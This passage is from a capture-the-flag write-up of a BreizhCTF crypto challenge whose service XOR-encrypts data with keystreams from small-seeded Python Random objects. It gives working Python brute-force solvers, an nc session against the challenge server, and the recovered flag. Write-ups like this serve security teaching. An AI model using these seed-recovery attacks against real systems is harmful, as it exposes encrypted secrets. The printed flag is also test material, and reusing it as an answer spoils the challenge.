<span class="k">print</span> <span class="p">(</span><span class="s">'server started and listening'</span><span class="p">)</span>
<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">clientsocket</span><span class="p">,</span> <span class="n">address</span> <span class="o">=</span> <span class="n">serversocket</span><span class="p">.</span><span class="n">accept</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"new client : %s"</span> <span class="o">%</span> <span class="n">clientsocket</span><span class="p">)</span>
<span class="n">client</span><span class="p">(</span><span class="n">clientsocket</span><span class="p">,</span> <span class="n">address</span><span class="p">)</span>
</code></pre></div></div>
<h2 id="best-solution">Best solution</h2>
<p><a href="https://twitter.com/Creased_">@Creased_</a> from the winning team AperiKube <a href="https://twitter.com/Creased_/status/1117505883725029381">shared on Twitter</a> the best solution which did not involve brute-forcing at all!</p>
<blockquote>
<p>Since the seed is the same for every client, I opened a first connection to the service, sent nullbytes to get the mask, then I used another connection to get the xored flag. A simple xor(mask, mask) then gives you the flag :)</p>
</blockquote>
<p>Here is his very effective script: <a href="https://gist.github.com/Creased/3b036da5b52e0e990bcc7c3e3052182f">https://gist.github.com/Creased/3b036da5b52e0e990bcc7c3e3052182f</a></p>
<h2 id="challenge-resolution">Challenge resolution</h2>
<h3 id="script-analysis">Script analysis</h3>
<p>The script accepts multiple clients in parallel through threads. When it starts, it generates a first seed with:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">init_seed</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">65535</span><span class="p">)</span>
</code></pre></div></div>
<p>65’536 possible values: that is not a very random nor robust seed. This seed is global and it is used for all clients.</p>
<p>When a client connects, a new thread is started. A first <code class="language-plaintext highlighter-rouge">Random</code> object is created using the global seed:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">r</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">init_seed</span><span class="p">)</span>
</code></pre></div></div>
<p>When the client uses the 1. or 2. action, the <code class="language-plaintext highlighter-rouge">self.get_keystream()</code> function is called:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">response</span> <span class="o">==</span> <span class="s">"1"</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">Enter plain : '</span><span class="p">)</span>
<span class="n">plain</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">).</span><span class="n">decode</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">mask</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_keystream</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">plain</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'Your secret : %s'</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">plain</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">response</span> <span class="o">==</span> <span class="s">"2"</span><span class="p">:</span>
<span class="n">mask</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">get_keystream</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">FLAG</span><span class="p">))</span>
<span class="bp">self</span><span class="p">.</span><span class="n">sock</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'Your secret : %s'</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">FLAG</span><span class="p">))</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">get_keystream()</code> function receives the first <code class="language-plaintext highlighter-rouge">Random</code> object seeded with the global seed, and it does this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">get_keystream</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">r</span><span class="p">,</span> <span class="n">length</span><span class="p">):</span>
<span class="n">r2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">)</span>
<span class="n">r2</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="n">mask</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">):</span>
<span class="n">mask</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">r2</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
<span class="k">return</span> <span class="n">mask</span>
</code></pre></div></div>
<p>A second seed is created, based on the output of the first <code class="language-plaintext highlighter-rouge">Random</code> object, and it is used to seed a second <code class="language-plaintext highlighter-rouge">Random</code> object. Like for the first one, only 65’536 values are possible which is weak. The first <code class="language-plaintext highlighter-rouge">Random</code> object is used to seed the second… From this second object, a mask is generated with the length passed as argument.</p>
<p>This length corresponds to the length of the data to encrypt. Indeed, the mask is combined with the input using the <code class="language-plaintext highlighter-rouge">xor()</code> function. The mask can then be considered as an encryption key. Here, we recognize in <code class="language-plaintext highlighter-rouge">xor()</code> a common function which applies the XOR operator on both inputs, character by character, and returns it base64-encoded:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)):</span>
<span class="n">cipher</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="weakness">Weakness</h3>
<p><code class="language-plaintext highlighter-rouge">Random</code> is a PRNG (Pseudorandom number generator) and so it has an interesting weakness: it is actually deterministic! Given a seed, it will always generate the same output sequence 😉
Combined with the fact that we can obtain the ciphertext of a plaintext of our choice, that the seeds are very small, and that the second <code class="language-plaintext highlighter-rouge">Random</code> object is not shared with other players (so we will not be perturbated by others): we have a very good chance to brute-force the seeds off-line and therefore the encryption key that allows to decrypt the flag.</p>
<h3 id="solution">Solution</h3>
<p>Our solution is to first send a static plaintext string to the server, then ask for the encrypted flag in the same connection (and nothing between). This way we know that the seed for the first <code class="language-plaintext highlighter-rouge">Random</code> object is the same for both requests and that this object is used only twice.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nc ctf.bzh 11000
Welcome to the Cipherizator !
1 : Enter plain, we give you the cipher
2 : Need a flag ?
3 : Exit
>>> 1
Enter plain : test
Your secret : n3xljA==
>>> 2
Your secret : UlXaKcVLuVuORY3lY3/0myvHh0FjDsoumjjOCempaoVQDRmtHSnJw1WOXb5P9I+I
</code></pre></div></div>
<p>Our script will brute-force the first seed by trying to encrypt our chosen-plaintext and comparing with the obtained ciphertext, with the first <code class="language-plaintext highlighter-rouge">Random</code> object re-created everytime to start fresh. When it matches, the state of the first <code class="language-plaintext highlighter-rouge">Random</code> object is the good one, and the same as it was on the server, and we can then ask it to generate a second <code class="language-plaintext highlighter-rouge">randint()</code> for us. It will be the same as the one generated on the server to encrypt the flag we requested second, so we can generate a mask with it and decrypt the flag ciphertext we got.</p>
<p>There is no need to brute-force the second seed too (as we initially thought), as its value is a direct consequence of the state of the first <code class="language-plaintext highlighter-rouge">Random</code> object.</p>
<p>This is the Python script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">const</span> <span class="o">=</span> <span class="s">"test"</span>
<span class="n">const_out</span> <span class="o">=</span> <span class="s">"n3xljA=="</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s">"UlXaKcVLuVuORY3lY3/0myvHh0FjDsoumjjOCempaoVQDRmtHSnJw1WOXb5P9I+I"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)):</span>
<span class="n">cipher</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
<span class="c1"># brute-force seed1
</span><span class="k">for</span> <span class="n">seed1</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"try seed1=%d"</span> <span class="o">%</span> <span class="n">seed1</span>
<span class="n">rand1</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">rand1</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed1</span><span class="p">)</span>
<span class="n">rand2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">rand2</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">rand1</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">))</span> <span class="c1"># first call to first Random object
</span>
<span class="c1"># generate the mask
</span> <span class="n">mask</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">const</span><span class="p">)):</span>
<span class="n">mask</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">rand2</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
<span class="c1"># apply the mask to encrypt
</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">const</span><span class="p">)</span>
<span class="k">if</span> <span class="n">ret</span> <span class="o">==</span> <span class="n">const_out</span><span class="p">:</span>
<span class="c1"># we found the seed1!
</span> <span class="k">print</span> <span class="s">"GOT IT"</span>
<span class="k">print</span> <span class="s">"seed1=%d"</span> <span class="o">%</span> <span class="n">seed1</span>
<span class="n">rand2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">seed2</span> <span class="o">=</span> <span class="n">rand1</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">)</span> <span class="c1"># second call to first Random object
</span> <span class="k">print</span> <span class="s">"seed2=%d"</span> <span class="o">%</span> <span class="n">seed2</span>
<span class="n">rand2</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed2</span><span class="p">)</span>
<span class="n">mask</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)):</span>
<span class="n">mask</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">rand2</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
<span class="k">print</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">flag</span><span class="p">))</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>
<p>And its output:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">try seed1=0
GOT IT
seed1=0
seed2=49673
bzhctf{The_sands_of_time_for_me_are_running_low}
</span></code></pre></div></div>
<p>As we are lucky, or the challenge creator is nice, the first seed is ‘0’ so it does not even have to loop and we instantly get the flag 😁</p>
<p>Fun fact: the challenge title “Hallowed be thy name”, is an Iron Maiden song, and the flag is a verse of the lyrics…</p>
<h3 id="cheating-solution">“Cheating” solution</h3>
<p>The solution above is, we believe, the intended solution. However, when writing this, we found that actually we could brute-force only the second seed. Yes it is generated from a first random generator, but as it has only 65’536 possible values, so we can brute-force it on its own 😉</p>
<p>Our trick here is also to know that the flag certainly contains “breizhctf” or “bzhctf”. Without this, and with a truly random flag (otherwise we could search for ASCII-only candidates), this would not work.</p>
<p>Python script:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s">"UlXaKcVLuVuORY3lY3/0myvHh0FjDsoumjjOCempaoVQDRmtHSnJw1WOXb5P9I+I"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">xor</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">)):</span>
<span class="n">cipher</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
<span class="k">for</span> <span class="n">seed2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">65535</span><span class="p">):</span>
<span class="n">rand2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">Random</span><span class="p">()</span>
<span class="n">rand2</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed2</span><span class="p">)</span>
<span class="c1"># generate the mask
</span> <span class="n">mask</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">)):</span>
<span class="n">mask</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">rand2</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">))</span>
<span class="n">decode</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">mask</span><span class="p">,</span> <span class="n">flag</span><span class="p">))</span>
<span class="c1"># if it looks like a flag, it should be a flag ;)
</span> <span class="k">if</span> <span class="s">"bzhctf"</span> <span class="ow">in</span> <span class="n">decode</span> <span class="ow">or</span> <span class="s">"breizhctf"</span> <span class="ow">in</span> <span class="n">decode</span><span class="p">:</span>
<span class="k">print</span> <span class="n">decode</span>
<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</code></pre></div></div>
<p>It finds the flag in just a few seconds.</p>tipi_hackSolves: ?? / Points: 300 / Category: crypto